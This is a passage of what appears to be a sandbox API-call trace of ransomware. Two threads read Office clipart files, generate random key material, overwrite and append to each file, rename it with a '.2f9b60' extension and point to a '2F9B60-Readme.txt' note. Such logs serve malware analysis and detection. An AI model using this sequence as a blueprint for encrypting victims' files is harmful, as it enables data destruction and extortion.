(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0107.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0107.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0107.757] NtQuerySystemTime (in: CurrentTime=0x2c0dfce0 | out: CurrentTime=0x2c0dfce0*=132462177132478000) returned 0x0 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x72923bd0 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x5e8e2f10 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x16115a3b [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x6c5454eb [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x151f5caa [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x5235f56a [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x68df82b7 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x6a51e3a2 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x4dc92484 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x2c474759 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0xa9dbb2b [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x362ce6b8 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x38b83a01 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x5ff930ed [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x66828d76 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x17a49b1d [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x19b6cd79 [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x574886ec [0107.757] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x184c749f [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x2bffe6a4 [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x2bf3952b [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x3e10f9a8 [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x723eed80 [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x1e5dcda4 [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x32b82aac [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x5ac7c16e [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x9e69a67 [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x66f0dff7 [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x2687243f [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x1df465fb [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x2126000e [0107.758] RtlRandomEx (in: Seed=0x2c0dfcd0 | out: Seed=0x2c0dfcd0) returned 0x10d40565 [0107.767] ReadFile (in: hFile=0xe64, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x2c0dfcd0, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2c0dfcd0*=0x1384, lpOverlapped=0x0) returned 1 [0107.770] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.771] WriteFile (in: hFile=0xe64, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0x1384, lpNumberOfBytesWritten=0x2c0dfcd4, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2c0dfcd4*=0x1384, lpOverlapped=0x0) returned 1 [0107.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0107.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0107.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0107.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0107.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0107.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860540 [0107.794] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.794] WriteFile (in: hFile=0xe64, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0dfdf0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2c0dfdf0*=0x10a, lpOverlapped=0x0) returned 1 [0107.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0107.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0107.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0107.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0107.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0107.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8601b0) returned 1 [0107.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0107.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0107.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.823] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="1c") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="88") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="7e") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="fa") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="45") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="bb") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="8b") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="5f") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="dd") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="ec") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="97") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="fe") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="15") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="dd") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="13") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="c1") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="c0") returned 2 [0107.823] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="a8") returned 2 [0107.824] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="2f") returned 2 [0107.824] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="42") returned 2 [0107.824] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="11") returned 2 [0107.824] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="81") returned 2 [0107.824] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="f9") returned 2 [0107.824] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="3b") returned 2 [0107.824] RtlInitAnsiString (in: DestinationString=0x2c0dfe68, SourceString="1c887efa45bb8b5fddec97fe15dd13c1c0a82f421181f93b" | out: DestinationString="1c887efa45bb8b5fddec97fe15dd13c1c0a82f421181f93b") [0107.824] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c0dfe38, SourceString="1c887efa45bb8b5fddec97fe15dd13c1c0a82f421181f93b", AllocateDestinationString=1 | out: DestinationString="1c887efa45bb8b5fddec97fe15dd13c1c0a82f421181f93b") returned 0x0 [0107.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86edb0 [0107.824] wcscat (in: _Dest=0x1b7ad700, _Source="1c887efa45bb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c887efa45bb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c887efa45bb" [0107.824] wcscat (in: _Dest=0x1b7ad700, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c887efa45bb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c887efa45bb.2f9b60" [0107.824] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c887efa45bb.2f9b60", NtPathName=0x2c0dfe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1c887efa45bb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107c00 [0107.825] NtSetInformationFile (FileHandle=0xe64, IoStatusBlock=0x2c0dfeb0, FileInformation=0x107c00, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0109.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ec70) returned 1 [0109.918] NtQueryInformationFile (in: FileHandle=0xe64, IoStatusBlock=0x2c0dfe78, FileInformation=0x2c0dfe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c0dfe78, FileInformation=0x2c0dfe88) returned 0x0 [0109.918] NtSetInformationFile (FileHandle=0xe64, IoStatusBlock=0x2c0dfe78, FileInformation=0x2c0dfe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 [0109.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86edb0) returned 1 [0109.934] FlushFileBuffers (hFile=0xe64) returned 1 [0109.950] CloseHandle (hObject=0xe64) returned 1 [0109.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ff870 [0109.952] wcscpy (in: _Dest=0x204ff870, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.952] wcscat (in: _Dest=0x204ff870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff870) returned 1 [0109.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c220) returned 1 Thread: id = 709 os_tid = 0x11f8 [0096.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0107.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", dwFileAttributes=0x20) returned 1 [0107.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe20 [0107.714] GetFileSizeEx (in: hFile=0xe20, lpFileSize=0x2c8cfe00 | out: lpFileSize=0x2c8cfe00*=5004) returned 1 [0107.714] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x1388, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.714] ReadFile (in: hFile=0xe20, lpBuffer=0x2c8cfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c8cfdc8, lpOverlapped=0x0 | out: lpBuffer=0x2c8cfd80*, lpNumberOfBytesRead=0x2c8cfdc8*=0x4, lpOverlapped=0x0) returned 1 [0107.717] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0107.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0107.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601b0 [0107.719] NtQuerySystemTime (in: CurrentTime=0x2c8cfcc0 | out: CurrentTime=0x2c8cfcc0*=132462177132166000) returned 0x0 [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x77a9b3dc [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x5334b08c [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x3ae174a1 [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x7b460ab6 [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x2f75b66b [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x1f8bf816 [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x6eed9c41 [0107.719] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x3722e3fb [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x3c7ffb96 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x3243f883 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x2a26842 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x2d3948aa [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x6675e28f [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x70d48942 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x4d88b379 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x6c9d0927 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0xe4925fa [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x11fa6e6d [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x7761f0e2 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x4099ab80 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x531b8e2 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x698b8e8b [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x7f32e485 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x5fb8235c [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x4f6d3a73 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x4bb611a7 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0xe7130eb [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x14a06cf3 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x53ac91e8 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x1b1d0fcf [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x1fd6b9c9 [0107.720] RtlRandomEx (in: Seed=0x2c8cfcb0 | out: Seed=0x2c8cfcb0) returned 0x608bba47 [0107.735] ReadFile (in: hFile=0xe20, lpBuffer=0x41e53cc0, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x2c8cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x41e53cc0*, lpNumberOfBytesRead=0x2c8cfcb0*=0x138c, lpOverlapped=0x0) returned 1 [0107.753] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.753] WriteFile (in: hFile=0xe20, lpBuffer=0x41e578d0*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x2c8cfcb4, lpOverlapped=0x0 | out: lpBuffer=0x41e578d0*, lpNumberOfBytesWritten=0x2c8cfcb4*=0x138c, lpOverlapped=0x0) returned 1 [0107.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0107.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0107.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0107.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e578d0) returned 1 [0107.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e53cc0) returned 1 [0107.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0107.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0107.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fa60 [0107.774] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.774] WriteFile (in: hFile=0xe20, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c8cfdd0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2c8cfdd0*=0x10a, lpOverlapped=0x0) returned 1 [0107.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0107.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0107.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0107.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0107.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0107.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff10) returned 1 [0107.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0107.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.797] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="15") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="a2") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ad") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="34") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="8c") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="b2") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="47") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="c2") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="c6") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="96") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d3") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="2c") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="11") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="cd") returned 2 [0107.797] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="d8") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="a7") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="e6") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="20") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="c3") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="46") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="51") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="91") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="6f") returned 2 [0107.798] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="ef") returned 2 [0107.798] RtlInitAnsiString (in: DestinationString=0x2c8cfe48, SourceString="15a2ad348cb247c2c696d32c11cdd8a7e620c34651916fef" | out: DestinationString="15a2ad348cb247c2c696d32c11cdd8a7e620c34651916fef") [0107.798] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c8cfe18, SourceString="15a2ad348cb247c2c696d32c11cdd8a7e620c34651916fef", AllocateDestinationString=1 | out: DestinationString="15a2ad348cb247c2c696d32c11cdd8a7e620c34651916fef") returned 0x0 [0107.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86ee90 [0107.798] wcscat (in: _Dest=0x1b7ad020, _Source="15a2ad348cb2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\15a2ad348cb2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\15a2ad348cb2" [0107.798] wcscat (in: _Dest=0x1b7ad020, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\15a2ad348cb2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\15a2ad348cb2.2f9b60" [0107.799] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\15a2ad348cb2.2f9b60", NtPathName=0x2c8cfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\15a2ad348cb2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x108080 [0107.799] NtSetInformationFile (FileHandle=0xe20, IoStatusBlock=0x2c8cfe90, FileInformation=0x108080, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0109.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027eea0) returned 1 [0109.825] NtQueryInformationFile (in: FileHandle=0xe20, IoStatusBlock=0x2c8cfe58, FileInformation=0x2c8cfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c8cfe58, FileInformation=0x2c8cfe68) returned 0x0 [0109.825] NtSetInformationFile (FileHandle=0xe20, IoStatusBlock=0x2c8cfe58, FileInformation=0x2c8cfe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 [0109.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ee90) returned 1 [0109.830] FlushFileBuffers (hFile=0xe20) returned 1 [0109.857] CloseHandle (hObject=0xe20) returned 1 [0109.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad020 [0109.858] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.858] wcscat (in: _Dest=0x1b7ad020, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program 